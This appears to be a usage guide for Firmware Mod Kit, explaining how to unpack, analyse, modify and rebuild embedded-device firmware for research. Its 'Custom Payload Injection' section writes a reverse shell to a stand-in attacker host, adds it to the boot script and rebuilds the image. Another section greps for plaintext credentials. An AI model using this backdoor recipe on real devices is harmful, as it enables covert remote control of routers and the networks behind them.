Firmware Mod Kit

Overview

Firmware Mod Kit is a collection of bash scripts that automate the extraction, modification, and repacking of firmware images from embedded devices. It streamlines the process of unpacking filesystem archives, analyzing kernel images, and rebuilding modified firmware for testing and research purposes.

Installation

On Linux (Debian/Ubuntu)

# Clone the repository
git clone https://github.com/rampageX/firmware-mod-kit.git
cd firmware-mod-kit

# Install dependencies
sudo apt-get update
sudo apt-get install build-essential git zlib1g-dev liblzma-dev \
  bzip2 python3 python3-pip unzip

# Install Python dependencies
pip3 install pycrypto capstone

# Make scripts executable
chmod +x *.sh
chmod +x trunk/tools/*.sh

On macOS

# Using Homebrew
brew install binutils squashfs-tools

# Clone and setup
git clone https://github.com/rampageX/firmware-mod-kit.git
cd firmware-mod-kit
chmod +x *.sh trunk/tools/*.sh

Basic Workflow

Step	Command	Purpose
Extract	`./extract-firmware.sh firmware.bin`	Unpack filesystem and kernel from binary
Analyze	Browse `extract` folder structure	Explore unpacked contents
Modify	Edit files in `extract/` directory	Change configs, binaries, or scripts
Rebuild	`./build-firmware.sh`	Repack filesystem and kernel
Verify	Compare checksums, test image	Validate integrity and functionality

Extracting Firmware

Basic Extraction

# Extract single firmware image
./extract-firmware.sh firmware.bin

# Extract with output to custom directory
./extract-firmware.sh -d custom_dir firmware.bin

# Extract and preserve original
cp firmware.bin firmware.bin.backup
./extract-firmware.sh firmware.bin

What Gets Extracted

After extraction, the extract/ folder contains:

squashfs-root/ — Root filesystem (configs, binaries, libraries)
vmlinuz or kernel — Kernel image
rootfs.md5 — MD5 checksum of root filesystem
uImage or uImage.lzma — Compressed kernel (if present)

Analyzing Extracted Contents

# List directory structure
cd extract/squashfs-root
ls -la

# Find configuration files
find . -name "*.conf" -o -name "*.cfg"

# Locate init scripts
find . -path "*/etc/init.d/*"

# Find web interface files (for routers)
find . -path "*/www/*" -o -path "*/html/*"

# Identify architecture and binary info
file bin/* usr/bin/* | grep -i "arm\|mips\|x86"

Modifying Firmware Contents

Common Modifications

# Change router hostname
cd extract/squashfs-root
nano etc/hostname

# Modify boot scripts
nano etc/init.d/rcS

# Edit web configuration
nano www/index.html

# Adjust network settings
nano etc/network/interfaces

Adding Files

# Copy new files into filesystem
cp -r /path/to/new/files extract/squashfs-root/opt/

# Add custom startup script
cp my_script.sh extract/squashfs-root/etc/init.d/
chmod +x extract/squashfs-root/etc/init.d/my_script.sh

# Add security research tools
mkdir -p extract/squashfs-root/opt/tools
cp analysis_tool extract/squashfs-root/opt/tools/
chmod +x extract/squashfs-root/opt/tools/analysis_tool

Removing Bloatware

# Navigate to filesystem
cd extract/squashfs-root

# Remove unnecessary binaries
rm -f bin/telnetd usr/bin/hnap

# Clean up web interface components
rm -rf www/images/old_ui

# Strip debug symbols from binaries (reduces size)
for file in bin/* usr/bin/*; do
  [ -f "$file" ] && strip "$file" 2>/dev/null
done

Repacking Firmware

Building Modified Firmware

# Build firmware with extracted modifications
./build-firmware.sh

# Specify output filename
./build-firmware.sh -o modified_firmware.bin

# Include specific filesystem format
./build-firmware.sh -b extract/

Advanced Build Options

# Build with compression enabled
./build-firmware.sh -z

# Build with specific architecture
./build-firmware.sh -a mips

# Verbose output for debugging
./build-firmware.sh -v

# Skip checksum verification
./build-firmware.sh -s

Post-Build Validation

# Verify file size
ls -lh modified_firmware.bin

# Check file type
file modified_firmware.bin

# Compare with original
ls -lh firmware.bin modified_firmware.bin

# Generate checksum
md5sum modified_firmware.bin > modified_firmware.md5
sha256sum modified_firmware.bin > modified_firmware.sha256

Supported Firmware Formats

Format	Extension	Architecture	Notes
SquashFS	.squashfs	ARM/MIPS	Most common in routers
JFFS2	.jffs2	Various	Older embedded devices
UBI	.ubi	NAND	Modern Android devices
CRAMFS	.cramfs	ARM/MIPS	Legacy systems
Broadcom TRX	.trx	MIPS	Broadcom SoC routers
D-Link	.bin	MIPS	D-Link-specific format

IoT Security Research Workflows

Firmware Backdoor Analysis

# Extract firmware
./extract-firmware.sh router_firmware.bin

# Search for suspicious binaries
find extract/squashfs-root -type f -executable
strings extract/squashfs-root/bin/suspicious_bin | grep -i "backdoor\|shell\|execute"

# Check init scripts for payload execution
cat extract/squashfs-root/etc/init.d/rcS

# Look for hidden network services
grep -r "listen\|socket" extract/squashfs-root/etc/

Configuration Extraction

# Extract all configuration files
find extract/squashfs-root/etc -type f ! -path "*/.*"

# Dump network configuration
cat extract/squashfs-root/etc/config/network

# Extract credentials (if plaintext)
grep -r "password\|username\|auth" extract/squashfs-root/etc/

# Export wireless settings
cat extract/squashfs-root/etc/config/wireless

Custom Payload Injection

# Create payload directory
mkdir -p extract/squashfs-root/opt/payload

# Add reverse shell
cat > extract/squashfs-root/opt/payload/shell.sh << 'EOF'
#!/bin/sh
exec /bin/bash -i >& /dev/tcp/attacker.com/4444 0>&1
EOF

chmod +x extract/squashfs-root/opt/payload/shell.sh

# Modify init script to call payload
echo "/opt/payload/shell.sh &" >> extract/squashfs-root/etc/init.d/rcS

# Rebuild
./build-firmware.sh -o payload_firmware.bin

Common Issues and Solutions

Issue: Extraction Fails

# Verify firmware file
file firmware.bin

# Try with verbose output
./extract-firmware.sh -v firmware.bin

# Check available disk space
df -h

# Ensure proper permissions
chmod +x *.sh

Issue: Compression Errors

# Install additional tools
sudo apt-get install xz-utils lzma

# Verify tool availability
which unsquashfs
which mkfs.squashfs
which lzma

Issue: Build Produces Invalid Image

# Check extract directory exists
ls extract/

# Verify filesystem permissions
find extract/squashfs-root -type f -exec chmod 644 {} \;
find extract/squashfs-root -type d -exec chmod 755 {} \;

# Rebuild with verbose output
./build-firmware.sh -v

# Validate output
file modified_firmware.bin

Integration with Other Tools

Using with Burp Suite for Web Analysis

# Extract firmware
./extract-firmware.sh firmware.bin

# Locate web interface
find extract/squashfs-root -path "*/www/*" -o -path "*/html/*"

# Copy web files to analysis directory
cp -r extract/squashfs-root/www /tmp/firmware_web

# Analyze with Burp Suite as upstream proxy

Combining with Binwalk

# Initial analysis with Binwalk
binwalk firmware.bin

# Extract with Binwalk
binwalk -e firmware.bin

# Compare extraction methods
diff -r _firmware.bin.extracted extract/

# Deep analysis
binwalk -A firmware.bin

Using with IDA Pro or Ghidra

# Extract kernel image
./extract-firmware.sh firmware.bin

# Locate kernel binary
find extract -name "kernel" -o -name "vmlinuz" -o -name "uImage"

# Extract kernel specifically
cd extract
file vmlinuz

# Open in Ghidra/IDA Pro for reverse engineering
# Set architecture based on strings analysis
strings vmlinuz | grep -i "mips\|arm"

Advanced Techniques

Patching Vulnerabilities

# Extract vulnerable firmware
./extract-firmware.sh vulnerable.bin

# Identify vulnerability
strings extract/squashfs-root/bin/vulnerable_service | grep "format"

# Replace with patched binary (if available)
cp patched_service extract/squashfs-root/bin/vulnerable_service
chmod +x extract/squashfs-root/bin/vulnerable_service

# Rebuild
./build-firmware.sh -o patched.bin

Creating Minimal Rootfs

# Extract original
./extract-firmware.sh firmware.bin

# Remove unnecessary components
cd extract/squashfs-root
rm -rf usr/share/doc usr/man var/log

# Remove large libraries if not needed
find lib -name "*.a" -delete

# Rebuild minimal image
cd ../..
./build-firmware.sh -o minimal.bin

Best Practices

Always backup original firmware before extraction
Document modifications with comments in modified files
Test in sandbox before deploying modified firmware
Verify checksums of repacked images
Use version control to track firmware changes
Clean up temporary extraction directories after building
Preserve file permissions during modification
Keep entropy tables intact if firmware has signature verification